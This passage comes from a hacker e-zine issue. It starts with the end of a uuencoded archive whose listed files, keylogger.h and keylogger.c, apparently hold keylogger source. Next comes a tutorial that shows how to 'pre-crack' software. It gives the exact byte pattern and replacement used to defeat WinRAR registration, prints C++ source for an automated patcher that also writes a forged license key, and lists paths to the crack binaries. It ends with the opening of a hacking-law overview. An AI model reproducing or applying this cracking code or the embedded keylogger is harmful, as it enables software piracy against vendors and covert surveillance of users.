M"I,1SO-@`1K]LLD)FD54-@9\GF^2D$1IPCJ([7'41[9G3@;(QML)QO>"5!M/
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
M`A0`%`````@`.')&-WQW,#^R"@``_",```L``````````0`@(```NP0``&ME
?>6QO9V=E<BYC4$L%!@`````"``(`<@```)8/````````
`
end
------------------------------------[ EOF ]-------------------------------------






--------------------------------------------------------------------------------
[==============================================================================]
[----------[ Big Integer Arithmetic based on Fast Fourier Transforms ]---------]
[==============================================================================]


       _.d####b._
     .############.
   .################.
  .##################.__ __ __ __ _ _ __ __ 
  ##############/Ž_`|#\ V  V // _` | '_/ -_)
  ##############\__,|# \_/\_/ \__,_|_| \___|
  ###########>'<######                                     
  *#########(   )####* 
   ##########>.<#####    author:  rattle
    ################     email:   rattle@awarenetwork.org
     *############*       
       "T######T"

   A copy of the pdf can be found at www.awarenetwork.org

   Direct link:
   http://www.awarenetwork.org/etc/beta/rattle.BigInt.Arithmetic.FFT.Methods.pdf
------------------------------------[ EOF ]-------------------------------------






--------------------------------------------------------------------------------
 /\
 ||                                                                       /\
[=========================================================================||===]
[-------------------------[ pre-cracking for dummies ]--------------------||---]
[=========================================================================||===]
 ||                                                                       ||
 ||    _.d####b._                                                         ||
 ||  .############.                                                       ||
 ||.################.                                                     ||
 ||##################.__ __ __ __ _ _ __ __                               ||
 |##############/Ž_`|#\ V  V // _` | '_/ -_)                              ||
 |##############\__,|# \_/\_/ \__,_|_| \___|                              ||
 |###########>'<######                                                    ||
 |*#########(   )####*                                                    ||
 ||##########>.<#####     .aware eZine beta                               ||
 || ################       .text 2007-07-07                               ||
 ||  *############*                                                       ||
 ||    "T######T"                                                         ||
 ||                                                                       ||
 \/                                                                       ||
                                                                          ||
 /\                                                                       ||
 ||                W W W . A W A R E N E T W O R K . O R G                ||
 ||                                                                       ||
 ||_______________________________________________________________________||
 ||-----------------------------------------------------------------------||
 ||=======================================================================||
 ||                                                                       ||
 ||                        PRE-CRACKING FOR DUMMIES                       ||
 ||            -----------------------------------------------            ||
 ||                  a sexy text for those special moments                ||
 ||                      ...isn't that right, pac-man?                    ||
 ||                                                                       ||
 ||                                                                       ||
 ||                               ,-'"   "`-.                             ||
 ||                             ,'_          `.                           ||
 ||                            / / \  ,-       \  PAC-MAN SAYS...         ||
 ||                       __   | \_0 ---        | - EEEEEEYYYYYYYY!!!     ||
 ||                      /  |  |                |                         ||
 ||                      \  \  `--.______,-/    |                         ||
 ||                    ___)  \  ,--""    ,/     |                         ||
 ||                   /    _  \ \-_____,-      /                          ||
 ||                   \__-/ \  | `.          ,'                           ||
 ||                     \___/ <    Ž--------'                             ||
 ||                      \__/\ |                                          ||
 ||                       \__//                                           ||
 ||                                                                       ||
 ||                                                                       ||
 ||          ...and this my friends is what I call a big fat              ||
 ||         stiff cock up the fucking arse with mint or celery            ||
 ||                                                                       ||
 ||                                             - Mike Strutter           ||
 ||                                                                       ||
 ||                                                                       ||
 ||         .text search strings                                          ||
 ||       |-------------------------------------|                         ||
 ||         "0x00 Prologue"                                               ||
 ||         "0x01 Common knowledge"                                       ||
 ||         "0x02 Success story"                                          ||
 ||         "0x03 The pattern"                                            ||
 ||         "0x04 The source"                                             ||
 ||         "0x05 U R L"                                                  ||
 ||       |---------------------------|                                   ||
 ||                                                                       ||
 ||_______________________________________________________________________||
 ||                                                                       ||
 ||                            0x00 Prologue                              ||
 ||_______________________________________________________________________||
 ||                                                                       ||
 ||  Greetings mad undergr0und haxorz!                                    ||
 ||                                                                       ||
 ||  This text will elucidate in a fairly straightforward way what a      ||
 ||  pre-crack actually is as well as showing you how to produce one.     ||
 ||  Since this article is written to be somewhat understandable even     ||
 ||  for those without any prior knowledge of software cracking,          ||
 ||  a listing of definitions would be helpful, yes?  mmyyeesss...        ||
 ||                                                                       ||
 \/  Here is a "theory crash course" in software cracking!                ||
     Note! Hardcore black hats may skip the first chapter (0x01),         ||
     ...maybe even the whole thing!?                                      ||
 /\                                                                       ||
 ||                                                                       ||
 ||_______________________________________________________________________||
 ||                                                                       ||
 ||                       0x01 Common knowledge                           ||
 ||_______________________________________________________________________||
 ||                                                                       ||
 ||  Reverse engineering (RE) is the process of discovering the           ||
 ||  technological principles of a device or object or system through     ||
 ||  analysis of its structure, function and operation. It often involves ||
 ||  taking something (e.g. a mechanical device, an electronic component, ||
 ||  a software program) apart and analysing its workings in detail,      ||
 ||  usually to try to make a new device or program that does the same    ||
 ||  thing without copying anything from the original.                    ||
 ||                                                                       ||
 ||  In computer science, an opcode is the portion of a machine language  ||
 ||  instruction that specifies the operation to be performed.            ||
 ||  The term is an abbreviation of Operation Code.                       ||
 ||  Their specification and format will be laid out in the instruction   ||
 ||  set architecture (ISA) of the computer hardware component in         ||
 ||  question normally a CPU, but possibly a more specialized unit.       ||
 ||  A complete machine language instruction contains an opcode and,      ||
 ||  optionally, the specification of one or more operands—what data      ||
 ||  the operation should act upon.                                       ||
 ||                                                                       ||
 ||  Machine language is tedious and difficult for humans to program      ||
 ||  in directly, so if the abstraction given by a higher-level           ||
 ||  programming language is not desired, an assembly language is used.   ||
 ||  Here, mnemonic instructions are used that correspond to the opcode   ||
 ||  and operand specifications of the machine language instructions      ||
 ||  generated. In assembly language a mnemonic is a code,                ||
 ||  usually from one to five letters, that represents an opcode.         ||
 ||  This gives a greater level of readability and comprehensibility      ||
 ||  than working with machine language operations directly, while still  ||
 ||  giving accurate control of the machine language generated.           ||
 ||                                                                       ||
 ||  Many of the mnemonics have rather self-explanatory names such as     ||
 ||  ADD, MOV, CMP, INC, DEC. One of the most used mnemonics in software  ||
 ||  cracking would have to be NOP (No operation). So why is that?        ||
 ||  Well NOP doesnÂ’t actually do anything (besides wasting cpu clock     ||
 ||  cycles). So how is that useful? Well NOPs are most commonly used     ||
 ||  for timing purposes, to force memory alignment, to prevent hazards,  ||
 ||  to occupy a branch delay slot, or as a "place-holder" to be          ||
 ||  replaced by active instructions later on in program development      ||
 ||  (or to replace removed instructions when re-factoring would be       ||
 \/  problematic or time-consuming). In the eyes of a cracker itÂ’s a      ||
     blessing. Let us watch some pseudocode, and a lame ass example!      ||
                                                                          ||
 /\                                                                       ||
 ||  This is the before code, which will actually check X to see if it    ||
 ||  is elite enough to continue.                                         ||
 ||                                                                       ||
 ||  check X                                                              ||
 ||  {                                                                    \/ 
 ||    if X is not equal to 1337
 ||      return false
 ||    else                                                               /\
 ||      return true                                                      ||
 ||  }                                                                    ||
 ||                                                                       ||
 ||  This is the modified code, which does not care about anything        ||
 ||  really. It just returns true, which is exactly what we want          ||
 ||  it to do!                                                            ||
 ||                                                                       ||
 ||  check X                                                              ||
 ||  {                                                                    ||
 ||    nop       // do nothing                                            ||
 ||    nop       // do nothing                                            ||
 ||    nop       // do nothing                                            ||
 ||    return true                                                        ||
 ||  }                                                                    ||
 ||                                                                       ||
 ||  This is of course simplified, but you get the idea, right?           ||
 ||                                                                       ||
 ||  Below is a lame ... but working "real life" example.                 ||
 ||  We could of course modify this code in several different ways        ||
 ||  to get the job done, but let's stick to the most common way.         ||
 ||                                                                       ||
 ||   - code -                                                            ||
 ||#######################################################################||
 ||                                                                       ||
 ||  The original code:                                                   ||
 ||  ------------------                                                   ||
 ||  org 100h                                                             ||
 ||  mov ax,01h                                                           ||
 ||  mov cx,02h                                                           ||
 ||  cmp ax,cx                                                            ||
 ||  jne notequal  ; <-- here is your problem                             ||
 ||  mov dx,registered                                                    ||
 ||  mov ah,09h                                                           ||
 ||  int 21h                                                              ||
 ||  jmp exit                                                             ||
 ||  notequal                                                             ||
 ||  mov dx,trialmode                                                     ||
 ||  mov ah,09h                                                           ||
 ||  int 21h                                                              ||
 ||  exit                                                                 ||
 ||  mov ah,4Ch                                                           ||
 ||  int 21h                                                              ||
 ||  registered db "program is registered.",0dh,0ah,24h                   ||
 ||  trialmode db "program is in trial mode.",0dh,0ah,24h                 ||
 ||                                                                       ||
 ||                                                                       ||
 ||  The modified code:                                                   ||
 ||  ------------------                                                   ||
 ||  org 100h                                                             ||
 ||  mov ax,01h                                                           ||
 ||  mov cx,02h                                                           ||
 ||  cmp ax,cx                                                            ||
 ||  nop           ; <-- nothing nop can't fix                            ||
 ||  nop           ; <-- ...second that!                                  ||
 ||  mov dx,registered                                                    ||
 ||  mov ah,09h                                                           ||
 ||  int 21h                                                              ||
 ||  jmp exit                                                             ||
 ||  notequal                                                             ||
 ||  mov dx,trialmode                                                     ||
 ||  mov ah,09h                                                           ||
 ||  int 21h                                                              ||
 ||  exit                                                                 ||
 ||  mov ah,4Ch                                                           ||
 ||  int 21h                                                              ||
 ||  registered db "program is registered.",0dh,0ah,24h                   ||
 ||  trialmode db "program is in trial mode.",0dh,0ah,24h                 ||
 ||                                                                       ||
 ||#######################################################################||
 ||   - code -                                                            ||
 ||                                                                       ||
 ||  Since this is a text for dummies, let's explain what just            ||
 ||  happened in a more "hands-off" ... theoretical way as well!          ||
 ||                                                                       ||
 ||  Software cracking is the modification of software to remove          ||
 ||  protection methods: copy prevention, trial/demo version,             ||
 ||  serial number, hardware key, CD check or software annoyances like    ||
 ||  nag screens and adware. The most common software crack is the        ||
 ||  modification of an application's binary to cause or prevent a        ||
 ||  specific key branch in the program's execution. This is              ||
 ||  accomplished by reverse engineering the compiled program code        ||
 ||  using a debugger until the software cracker reaches the subroutine   ||
 ||  that contains the primary method of protecting the software          ||
 ||  (or by disassembling it). The binary is then modified using the      ||
 ||  debugger or a hex editor in a manner that replaces a prior           ||
 ||  branching opcode with its complement or a NOP opcode so the key      \/
 ||  branch will either always execute a specific subroutine or skip
 ||  over it. Almost all common software cracks are a variation of
 ||  this type. Hopefully that was clear enough for everyone?             /\
 ||                                                                       ||
 ||  A pre-crack (or search'n'destroy crack) is essentially nothing       ||
 ||  more then a "dynamic" software crack. The opcode modifying part      ||
 ||  is not really "dynamic", but the end product is. One of the most     ||
 ||  common software cracking techniques is the offset patching. Since    ||
 ||  releasing a complete cracked binary is not considered very sexy,     ||
 ||  the cracker compares the cracked binary with the original binary     ||
 ||  and stores the altered parts. The cracker now knows where in the     ||
 ||  binary to place his modifications (the offsets). All that remains    ||
 ||  is to create a patch that replaces “whatever” to the given offsets   ||
 ||  and  voila: we have offset patching! The patch must of course make   ||
 ||  sure that the binary to be modified has the right size (length)      ||
 ||  and such vital details.                                              ||
 ||                                                                       ||
 ||  The pre-crack is very similar to the offset patching technique,      ||
 ||  though the cracker does not know any of the offsets or the size      ||
 ||  (length) of the binary in advance. Instead a pattern must be         ||
 ||  located, which hopefully wonÂ’t change in future software upgrades.   ||
 ||  The cracker knows the interesting offsets of the present binary      ||
 ||  and he or she knows what data to alter. The problem is that the      ||
 ||  data must be found again in unknown territory...                     ||
 ||  (a possible software upgrade).                                       ||
 ||                                                                       ||
 ||  A common way of finding the specific data (patch-data) again is to   ||
 ||  search for "it", as well as surrounding patterns (data which is      ||
 ||  most likely to be reused in a software upgrade). The easiest way is  ||
 ||  to check the patterns pre/post the patch-data. If that is not        ||
 ||  possible the cracker will have to check patterns further away and    ||
 ||  then try to find the way back to the patch-data. This is the         ||
 ||  obvious reason that pre-cracks also if referred to as...             ||
 ||  search'n'destroy, seek'n'destroy or similar...                       ||
 ||  In Sweden we have a saying "A dear/beloved child has many names.".   ||
 ||                                                                       ||
 ||  If everything goes as planed the pre-crack will be able to crack     ||
 ||  the current binary as well as any future software upgrade, as long   ||
 ||  as it contains the patch-data pattern(s).                            ||
 ||                                                                       ||
 ||_______________________________________________________________________||
 ||                                                                       ||
 ||                          0x02 Success story                           ||
 ||_______________________________________________________________________||
 ||                                                                       ||
 ||  An example of a pre-crack that indeed has fulfilled its purpose      ||
 ||  is the .aware WinRAR (PC) *ALL* versions pre-crack. It was born      ||
 ||  in the beginning of 2005 and has served the underground community    ||
 ||  ever since.                                                          ||
 ||                                                                       ||
 ||  The following is from a file located in the .aware/usr directories:  ||
 ||                                                                       ||
 ||                                                                       ||
 || - BOF -                                                               ||
 ||#######################################################################||
 || "This precrack is coded to hopefully crack the next release of Rarlab ||
 || WinRAR. The latest version (today) 09-Mars-2005 is WinRAR 3.42.       ||
 ||                                                                       ||
 || So keep an eye on the rarlab website, and the same second they make   ||
 || the next WinRAR release public, you download it and crack it with a   ||
 || patch you've been holding for a long time."                           ||
 ||#######################################################################||
 || - EOF -                                                               ||
 ||                                                                       ||
 ||  During the last years Rarlab has released a shit load of version     ||
 ||  upgrades, and they were all cracked by the .aware WinRAR             ||
 ||  pre-cracker. Hopefully it will keep on keeping on for your           ||
 \/  pleasure and convenience!                                            ||
                                                                          ||
 /\                                                                       ||
 ||_______________________________________________________________________||
 ||                                                                       ||
 ||                          0x03 The pattern                             ||
 ||_______________________________________________________________________||
 ||                                                                       ||
 ||  Here is the pattern, which was used in the .aware WinRAR             ||
 ||  pre-cracker:                                                         ||
 ||                                                                       ||
 ||                                                                       ||
 || []=================================================================[] ||
 ||                                                                       ||
 ||              -=<[HERE WE HAVE THE PRECRACK PATTERN]>=-                ||
 ||                                                                       ||
 || --------------------------------------------------------------------- ||
 ||                                                                       ||
 || :0040DCA2 8D85D0EFFFFF            lea eax, dword ptr [ebp+FFFFEFD0]   ||
 || :0040DCA8 8B95D0F3FFFF            mov edx, dword ptr [ebp+FFFFF3D0]   ||
 || :0040DCAE E865DBFFFF              call 0040B818                       ||
 || --------------------------------------------------------------------- ||
 ||                                                                       ||
 || :0040DCB3 84C0                    test al, al                         ||
 || :0040DCB5 0F85DFFEFFFF            jne 0040DB9A                        ||
 || :0040DCBB 33C0                    xor eax,eax <-- modify this part!   ||
 || --------------------------------------------------------------------  ||
 ||                                                                       ||
 ||                    --- 84C00F85DFFEFFFF33C0 ---                       ||
 ||                                                                       ||
 || :0040DCBD 8B95D4F3FFFF            mov edx, dword ptr [ebp+FFFFF3D4]   ||
 || :0040DCC3 64891500000000          mov dword ptr fs:[00000000], edx    ||
 || --------------------------------------------------------------------- ||
 ||                                                                       ||
 ||            * Original code is - xor eax,eax [33C0]                    ||
 ||            * Replacement code will be - mov al,01 [B001]              ||
 ||                                                                       ||
 || []=================================================================[] ||
 ||                                                                       ||
 ||                                                                       ||
 ||  What you see above is the disassembled code of some old WinRAR       ||
 ||  release. The pre-crack searches for this pattern:                    ||
 ||  "84C00F85DFFEFFFF33C0".                                              \/
 ||
 ||  ...Yaay, a shit load of numbers and letters, neat!
 ||
 ||
 ||  The first four characters is a comparison, the next twelve           /\
 ||  characters are a jump related to the previous comparison and after   ||
 ||  that comes the part of the code that we will modify. In this case    ||
 ||  we replace the original code: "cleaning registry EAX" with:          ||
 ||  "add a number to registry EAX->AX->AH,AL". It is all very sexy,      ||
 ||  and if you feel you need to know more about cracking, disassembling, ||
 ||  debugging I recommend you to browse the .aware /usr directories      ||
 ||  _or_ read some of the thousands of text published on the net and     ||
 ||  in books.                                                            ||
 ||                                                                       ||
 ||                                                                       ||
 ||  Here we have the diff patterns:                                      ||
 ||                                                                       ||
 ||    * 84C00F85DFFEFFFF33C0 - original code                             ||
 ||    * 84C00F85DFFEFFFFB001 - modified code                             ||
 ||                                                                       ||
 ||_______________________________________________________________________||
 ||                                                                       ||
 ||                           0x04 The source                             ||
 ||_______________________________________________________________________||
 ||                                                                       ||
 ||  When the patch pattern(s) is located the only thing left to do       ||
 ||  is to write a patcher, which will read, locate and replace data.     ||
 ||  If you add a sexy gui, some weird looking ogl and a mod/track        ||
 ||  player you have yourself a decent release.                           ||
 ||                                                                       ||
 ||                                                                       ||
 ||  Note! The following code will not compile as it is now.              ||
 ||  It is more of an example of how it could be done.                    ||
 ||  A working copy can be found in the .aware /usr directories.          ||
 ||  Exact location(s) will be given in the end of this text.             ||
 ||                                                                       ||
 ||                                                                       ||
 ||   - code -                                                            ||
 ||#######################################################################||
 ||  /*                                                                   ||
 ||          W W W . A W A R E N E T W O R K . O R G                      ||
 ||                                                                       ||
 ||      []===========================================[]                  ||
 ||              WinRAR *ALL* Versions preCracker                         ||
 ||      []===========================================[]                  ||
 ||           iqlord | .aware crew  -w1n4p1 style-                        ||
 ||      []===========================================[]                  ||
 ||                                                                       ||
 ||  */                                                                   ||
 ||                                                                       ||
 ||  void WinRAR_preCrack::OnOk() {                                       ||
 ||      #define GC fgetc(fp);                                            ||
 ||      CNoWinrarDlg        nowrar;                                      ||
 ||      CWinrarCrackedDlg   finished;                                    ||
 ||      CNotCrackableDlg    notcrkable;                                  \/
 ||      DWORD               dwSize;
 ||      HKEY                Regentry;
 ||      HKEY                RegUserName;                                 /\
 ||      static char         WinRarInstallPath[0x0400],                   ||
 ||                          WinRarKeyFile[0x0400],                       ||
 ||                          UserName[0x0400];                            ||
 ||      bool                registry_trigger = true;                     ||
 ||      short               cb01=0x00,cb02=0x00,cb03=0x00,cb04=0x00,     ||
 ||                          cb05=0x00,cb06=0x00,cb07=0x00,cb08=0x00,     ||
 ||                          cb09=0x00,cb10=0x00;unsigned int x=0x00;     ||
 ||      FILE*               fp;                                          ||
 ||      FILE*               pKeyFile;                                    ||
 ||                                                                       ||
 ||      RegOpenKeyEx(HKEY_LOCAL_MACHINE,                                 ||
 ||          "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\"             ||
 ||          "App Paths\\WinRAR.exe",                                     ||
 ||          0x00, KEY_QUERY_VALUE, &Regentry );                          ||
 ||                                                                       ||
 ||      if (RegQueryValueEx(Regentry, TEXT(""), 0x00, 0x00,              ||
 ||          (unsigned char *)WinRarInstallPath, &dwSize )                ||
 \/          != ERROR_SUCCESS ) { registry_trigger = false;               ||
        }                                                                 ||
        if(registry_trigger)                                              ||
            strncpy(WinRarKeyFile,WinRarInstallPath,                      ||
            strlen(WinRarInstallPath)-10);                                ||
        else {                                                            ||
 /\          strcpy(WinRarInstallPath, ".\\WinRAR.exe" );                 ||
 ||          registry_trigger = true;                                     ||
 ||      }                                                                ||
 ||      strcat(WinRarKeyFile,"rarreg.key");                              ||
 ||      if((fp=fopen(WinRarInstallPath,"r+b"))==0x00) {                  ||
 ||          nowrar.DoModal(); RegCloseKey(Regentry); return;             ||
 ||      }                                                                ||
 ||      while(cb10 != -1) {                                              ||
 ||          cb01 = GC cb02 = GC cb03 = GC cb04 = GC cb05 = GC            ||
 ||          cb06 = GC cb07 = GC cb08 = GC cb09 = GC cb10 = GC            ||
 ||          if (                                                         ||
 ||              cb01 == 0x84 && cb02 == 0xC0 &&                          ||
 ||              cb03 == 0x0F && cb04 == 0x85 &&                          ||
 ||              cb05 == 0xDF && cb06 == 0xFE &&                          ||
 ||              cb07 == 0xFF && cb08 == 0xFF &&                          ||
 ||              cb09 == 0x33 && cb10 == 0xC0 ){                          ||
 ||              fseek(fp,ftell(fp)-0x02,0x00); fputs("\xB0\x01",fp);     ||
 ||              if((pKeyFile=fopen(WinRarKeyFile,"w+b"))==0x00) {        ||
 ||                  registry_trigger = false;                            ||
 ||              }                                                        ||
 ||              if(registry_trigger) {                                   ||
 ||                  RegOpenKeyEx(HKEY_LOCAL_MACHINE,                     ||
 ||                    "SOFTWARE\\Microsoft\\Windows NT\\"                ||
 ||                    "CurrentVersion\\Winlogon",                        ||
 ||                    0x00, KEY_QUERY_VALUE, &RegUserName );             ||
 ||                if ( RegQueryValueEx(RegUserName,                      ||
 ||                    TEXT("DefaultUserName"),0x00, 0x00,                ||
 ||                    (unsigned char *)UserName, &dwSize )               ||
 ||                    != ERROR_SUCCESS ) {                               ||
 ||                       strcpy(UserName,"Full version");                ||
 ||                }                                                      ||
 ||                fprintf(pKeyFile,"pure pwnage by the .aware crew\n%s\n"||
 ||                    "Single PC usage license.\n",UserName);            ||
 ||                    fclose(pKeyFile);                                  ||
 ||              }                                                        ||
 ||              RegCloseKey(RegUserName); RegCloseKey(Regentry);         ||
 ||              fclose(fp);                                              ||
 ||              finished.DoModal(); // crack done.                       ||
 ||              return;                                                  ||
 ||          } fseek(fp,x,0x00); x++;                                     \/
 ||      }
 ||      fclose(fp);
 ||      notcrkable.DoModal(); // error, abort.
 ||      return;                                                          /\
 ||  }                                                                    ||
 ||#######################################################################||
 ||   - code -                                                            ||
 ||                                                                       ||
 ||                                                                       ||
 ||  Did you notice how the patcher copies the default winUserName and    ||
 ||  uses it to register WinRAR? Well of course you did.                  ||
 ||                                                                       ||
 ||  So there you have it! Now start producing more pre-cracks people!    ||
 ||  It will save time and effort later on...                             ||
 ||                                                                       ||
 ||                                                                       ||
 ||  Deepest respects to me fellow partners in crime; rattle'n'kspecial!  ||
 ||  And of course to the rest of ya! (you know who you are).             ||
 ||                                                                       ||
 ||  Take care ya'll                                                      ||
 ||                                                                       ||
 ||_______________________________________________________________________||
 ||                                                                       ||
 ||                             0x05 U R L                                ||
 ||_______________________________________________________________________||
 ||                      [  www.awarenetwork.org  ]                       ||
 ||                                                                       ||
 ||  WinRAR VSC++ workspace:                                              ||
 ||  /home/iqlord/cracks%20&%20keygens/wrcrkr/winrarcrkr.src.rar          ||
 ||                                                                       ||
 ||  WinRAR precompiled binary:                                           ||
 ||  /home/iqlord/cracks%20&%20keygens/wrcrkr/winrarcrkr.rar              ||
 ||                                                                       ||
 ||  WinRAR raw code:                                                     ||
 ||  /home/iqlord/cracks%20&%20keygens/wrcrkr/wrcrkr.cpp                  ||
 ||                                                                       ||
 ||  First WinRAR pre-crack attempt (works, but without the sexy stuff):  ||
 ||  /home/iqlord/cracks%20&%20keygens/winrar-precrack/                   ||
 ||                                                                       ||
 ||     - EOF -                                                           ||
 ||                                                                       ||
 || ___.                                                                  ||
 || \_ |__   ____     _____ __  _  _______ _______   ____                 ||
 ||  | __ \_/ __ \    \__  \\ \/ \/ /\__  \\_  __ \_/ __ \                ||
 ||  | \_\ \  ___/     / __ \\     /  / __ \|  | \/\  ___/                ||
 ||  |___  /\___  >  /(____  /\/\_/  (____  /__|    \___  >               ||
 ||      \/     \/___\/ / /\/             \/            \/ ()()()         ||
 ||_____________/ (^^, / /________________________________________________||
 ||-------------) _)` 7_/-------------------------------------------------||
 ||=============\(G\ , )==================================================||
 ||             /`_`-' \_  ,'`)                                           ||
 ||            / / \     \/   \__,-.                                      \/
 ||         __(_/   >.  ` ) /\  /` )
 ||         \_ /   (  `--'_/  \/\_/                         - iqlord
 ||           U     \_  _) 
 \/                  ( `<   ...and you thought that the texts exact
                     /___\  512 lines was a fucking coincidence?
                     (__)
------------------------------------[ EOF ]-------------------------------------






--------------------------------------------------------------------------------
[==============================================================================]
[-------------------[ Hackformed - Your Hacking Law Update ]-------------------]
[==============================================================================]


       _.d####b._
     .############.
   .################.
  .##################.__ __ __ __ _ _ __ __ 
  ##############/Ž_`|#\ V  V // _` | '_/ -_)
  ##############\__,|# \_/\_/ \__,_|_| \___|
  ###########>'<######                                     
  *#########(   )####* 
   ##########>.<#####    author: zshzn
    ################     email:  zshzn@hackaholic.org
     *############*       
       "T######T"



[==============================================================================]

  1.0 Introduction

  2.0 About hacking
  2.1 What I mean by "hacking"
  2.2 Why the world needs hacking laws

  3.0 Jurisprudence
  3.1 Legal theory 
  3.2 Actus reus, mens rea, and summary conviction offences
  3.3 Stare decisis
  3.4 The development of laws
  3.5 Law elsewhere

  4.0 Diving right in - The USA
  4.1 Ambitious and confused
  4.2 10 Issues with the system of American hacking laws
  4.3 The Computer Fraud and Abuse Act
  4.3.1 Table of contents
  4.3.2 Analysis
  4.4 Application issues
  4.5 Current developments

  5.0 International collaboration 
  5.1 Importance
  5.2 Leaders
  5.3 Location

  6.0 The Convention on Cybercrime
  6.1 The Council of Europe
  6.2 Introduction and timeline
  6.3 Overview
  6.4 Table of contents
  6.5 Some explanations
  6.5.1 In general
  6.5.2 Specific Articles
  6.5.2.1 Article 6 - Misuse of devices
  6.5.2.2 Article 12 - Corporate liability
  6.5.2.3 Articles 16 through 21 about the powers of authorities
  6.5.3 On the lack of inclusion of user rights
  6.6 Provisions
  6.7 Current state
  6.8 Legal place of the treaty

  7.0 The European Union makes a move

  8.0 France 2004
  8.1 Introduction
  8.2 Your right
  8.3 The responsibility of ISPs
  8.4 Against exploits and hacking tools
  8.4.1 Article 46
  8.4.2 The previous state of the law
